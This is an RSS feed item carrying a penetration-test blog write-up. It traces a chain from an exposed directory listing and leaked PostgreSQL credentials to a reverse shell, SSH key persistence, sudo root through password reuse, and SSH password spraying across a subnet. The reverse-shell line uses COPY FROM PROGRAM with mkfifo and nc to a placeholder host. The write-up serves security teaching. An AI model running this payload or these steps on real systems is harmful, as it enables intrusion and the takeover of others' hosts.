<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Postgresql on Gill.Singh.A</title>
        <link>https://Gill-Singh-A.github.io/tags/postgresql/</link>
        <description>Recent content in Postgresql on Gill.Singh.A</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <lastBuildDate>Sat, 07 Feb 2026 16:45:00 +0530</lastBuildDate><atom:link href="https://Gill-Singh-A.github.io/tags/postgresql/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>From Directory Listing to Root Shell</title>
        <link>https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/</link>
        <pubDate>Sat, 07 Feb 2026 16:45:00 +0530</pubDate>
        
        <guid>https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/</guid>
        <description>&lt;img src="https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/attack_path.png" alt="Featured image of post From Directory Listing to Root Shell" /&gt;&lt;p&gt;In this blog, I will demonstrate how a simple &lt;strong&gt;directory listing vulnerability&lt;/strong&gt; led to &lt;strong&gt;full system compromise&lt;/strong&gt; during a penetration test.&lt;/p&gt;
&lt;h2 id=&#34;prologue&#34;&gt;Prologue
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&amp;ldquo;The best exploits are the ones that never feel like exploits at all.&amp;rdquo;&lt;/strong&gt;&lt;br&gt;
— &lt;em&gt;Mr. Robot&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I discovered that a web server was &lt;strong&gt;exposing its directory contents&lt;/strong&gt;.&lt;br /&gt;
&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/directory_listing.png&#34;
	width=&#34;713&#34;
	height=&#34;961&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/directory_listing_hu1542560264015290200.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/directory_listing_hu10064112556409327398.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Directory Listing&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;74&#34;
		data-flex-basis=&#34;178px&#34;
	
&gt;&lt;br /&gt;
Several configuration and compressed files were visible, indicating possible sensitive information leakage.&lt;/p&gt;
&lt;h2 id=&#34;source-code-analysis&#34;&gt;Source Code Analysis
&lt;/h2&gt;&lt;p&gt;After downloading and analyzing the exposed files, I found a &lt;strong&gt;PHP configuration file&lt;/strong&gt; containing &lt;strong&gt;PostgreSQL database credentials&lt;/strong&gt;.&lt;br /&gt;
&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/source_code_analysis.png&#34;
	width=&#34;847&#34;
	height=&#34;691&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/source_code_analysis_hu12517736659893005114.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/source_code_analysis_hu17890922910698341949.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Source Code Analysis&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;122&#34;
		data-flex-basis=&#34;294px&#34;
	
&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&#34;database-connection&#34;&gt;Database Connection
&lt;/h2&gt;&lt;p&gt;Using the extracted credentials, I connected to the PostgreSQL server and successfully authenticated.&lt;br /&gt;
&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/database_connection.png&#34;
	width=&#34;1177&#34;
	height=&#34;248&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/database_connection_hu8332963392660173897.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/database_connection_hu914861110164381894.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Database Connection&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;474&#34;
		data-flex-basis=&#34;1139px&#34;
	
&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&#34;postgresql-to-reverse-shell&#34;&gt;PostgreSQL to Reverse Shell
&lt;/h2&gt;&lt;p&gt;After confirming access, I attempted to escalate this to &lt;strong&gt;Remote Command Execution&lt;/strong&gt;.&lt;br /&gt;&lt;/p&gt;
&lt;h3 id=&#34;role-enumeration&#34;&gt;Role Enumeration
&lt;/h3&gt;&lt;p&gt;First, I enumerated the database role.&lt;br /&gt;
&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/db_user_role_enumeration.png&#34;
	width=&#34;778&#34;
	height=&#34;162&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/db_user_role_enumeration_hu9308740368698859327.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/db_user_role_enumeration_hu2045641625659443498.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Database User Role Enumeration&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;480&#34;
		data-flex-basis=&#34;1152px&#34;
	
&gt;&lt;br /&gt;
The user had &lt;strong&gt;superuser privileges&lt;/strong&gt;, which was promising.&lt;/p&gt;
&lt;h3 id=&#34;permission-enumeration&#34;&gt;Permission Enumeration
&lt;/h3&gt;&lt;p&gt;To enumerate detailed permissions, I used the following query:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rolname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rolsuper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rolinherit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rolcreaterole&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rolcreatedb&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rolcanlogin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rolconnlimit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rolvaliduntil&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;ARRAY&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rolname&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pg_catalog&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pg_auth_members&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;JOIN&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pg_catalog&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pg_roles&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;ON&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;roleid&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;oid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;WHERE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;member&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;oid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;as&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;memberof&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rolreplication&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pg_catalog&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pg_roles&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;ORDER&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;BY&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/db_user_permission_enumeration.png&#34;
	width=&#34;1888&#34;
	height=&#34;916&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/db_user_permission_enumeration_hu2344392659830103762.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/db_user_permission_enumeration_hu8488230866244571391.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Database User Permission Enumeration&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;206&#34;
		data-flex-basis=&#34;494px&#34;
	
&gt;&lt;br /&gt;
The presence of the &lt;strong&gt;pg_execute_server_program&lt;/strong&gt; privilege allowed OS-level command execution.&lt;/p&gt;
&lt;h3 id=&#34;remote-code-execution&#34;&gt;Remote Code Execution
&lt;/h3&gt;&lt;p&gt;Using PostgreSQL’s &lt;code&gt;COPY FROM PROGRAM&lt;/code&gt;, I executed a &lt;strong&gt;reverse shell payload&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;CREATE TABLE shell&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;output text&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;COPY shell FROM PROGRAM &lt;span class=&#34;s1&#34;&gt;&amp;#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc x.x.x.x 4444 &amp;gt;/tmp/f&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/command_execution.png&#34;
	width=&#34;1084&#34;
	height=&#34;86&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/command_execution_hu16132554745947224686.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/command_execution_hu3219709396802111875.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Command Execution&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;1260&#34;
		data-flex-basis=&#34;3025px&#34;
	
&gt;&lt;br /&gt;
Listener setup:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;nc -lnvp &lt;span class=&#34;m&#34;&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/reverse_shell.png&#34;
	width=&#34;637&#34;
	height=&#34;142&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/reverse_shell_hu18122620195060754518.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/reverse_shell_hu17891824573579502099.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Reverse Shell&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;448&#34;
		data-flex-basis=&#34;1076px&#34;
	
&gt;&lt;/p&gt;
&lt;h2 id=&#34;ssh-connection&#34;&gt;SSH Connection
&lt;/h2&gt;&lt;p&gt;Port &lt;strong&gt;22 (SSH)&lt;/strong&gt; was open on the target.&lt;br /&gt;
&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/ssh_open.png&#34;
	width=&#34;518&#34;
	height=&#34;64&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/ssh_open_hu6644103114935508746.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/ssh_open_hu15762712815331395871.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Open SSH Port&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;809&#34;
		data-flex-basis=&#34;1942px&#34;
	
&gt;&lt;br /&gt;
I located the home directory of the &lt;em&gt;postgres&lt;/em&gt; user&lt;br /&gt;
&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/home_directory_location.png&#34;
	width=&#34;692&#34;
	height=&#34;65&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/home_directory_location_hu14284609802398082052.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/home_directory_location_hu5264735006599482748.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Home Directory of User&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;1064&#34;
		data-flex-basis=&#34;2555px&#34;
	
&gt;&lt;br /&gt;
Added my public key to &lt;code&gt;authorized_keys&lt;/code&gt;&lt;br /&gt;
&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/authorized_keys.png&#34;
	width=&#34;1906&#34;
	height=&#34;352&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/authorized_keys_hu18214966545433630559.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/authorized_keys_hu10247835884756570969.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Adding Authorized Keys&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;541&#34;
		data-flex-basis=&#34;1299px&#34;
	
&gt;&lt;br /&gt;
Successfully logged in via SSH&lt;br /&gt;
&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/ssh_connection.png&#34;
	width=&#34;1154&#34;
	height=&#34;569&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/ssh_connection_hu12157043848031862899.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/ssh_connection_hu87404593957785406.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;SSH Connection&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;202&#34;
		data-flex-basis=&#34;486px&#34;
	
&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&#34;priviledge-escalation&#34;&gt;Priviledge Escalation
&lt;/h2&gt;&lt;p&gt;While reviewing &lt;code&gt;/etc/passwd&lt;/code&gt;, I noticed a system user whose credentials matched those found in the PHP file. Trying the same password worked.&lt;br /&gt;
This user also had &lt;strong&gt;sudo privileges&lt;/strong&gt;, allowing immediate &lt;strong&gt;root shell access&lt;/strong&gt;&lt;br /&gt;
&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/system_user.png&#34;
	width=&#34;695&#34;
	height=&#34;208&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/system_user_hu9679820501493719518.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/system_user_hu6070216367719365430.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Same Password for System User&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;334&#34;
		data-flex-basis=&#34;801px&#34;
	
&gt;&lt;/p&gt;
&lt;h2 id=&#34;lateral-movement&#34;&gt;Lateral Movement
&lt;/h2&gt;&lt;p&gt;The compromised server resided in a &lt;strong&gt;private Class B network&lt;/strong&gt;. I scanned the subnet for SSH using &lt;a class=&#34;link&#34; href=&#34;https://github.com/Gill-Singh-A/Port-Scanner.git&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Gill-Singh-A/Port-Scanner&lt;/a&gt; and performed SSH password spraying using &lt;a class=&#34;link&#34; href=&#34;https://github.com/Gill-Singh-A/SSH-Brute-Force.git&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Gill-Singh-A/SSH-Brute-Force&lt;/a&gt;&lt;br /&gt;
This resulted in successful access to &lt;strong&gt;two additional hosts&lt;/strong&gt;&lt;br /&gt;
&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/ssh_brute_force.png&#34;
	width=&#34;775&#34;
	height=&#34;124&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/ssh_brute_force_hu7386364083586709692.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/ssh_brute_force_hu15395296646861778390.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;SSH Brute Force&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;625&#34;
		data-flex-basis=&#34;1500px&#34;
	
&gt;&lt;/p&gt;
&lt;h2 id=&#34;attack-path&#34;&gt;Attack Path
&lt;/h2&gt;&lt;p&gt;&lt;img src=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/attack_path.png&#34;
	width=&#34;503&#34;
	height=&#34;496&#34;
	srcset=&#34;https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/attack_path_hu14559873238451231594.png 480w, https://Gill-Singh-A.github.io/p/from-directory-listing-to-root-shell/assets/images/attack_path_hu1940645823293017812.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;Attack Path - Plotted using Maltego&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;101&#34;
		data-flex-basis=&#34;243px&#34;
	
&gt;&lt;/p&gt;
&lt;h2 id=&#34;references&#34;&gt;References
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Command Execution with PostgreSQL Copy Command - Nairuz Abulhul&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        
    </channel>
</rss>
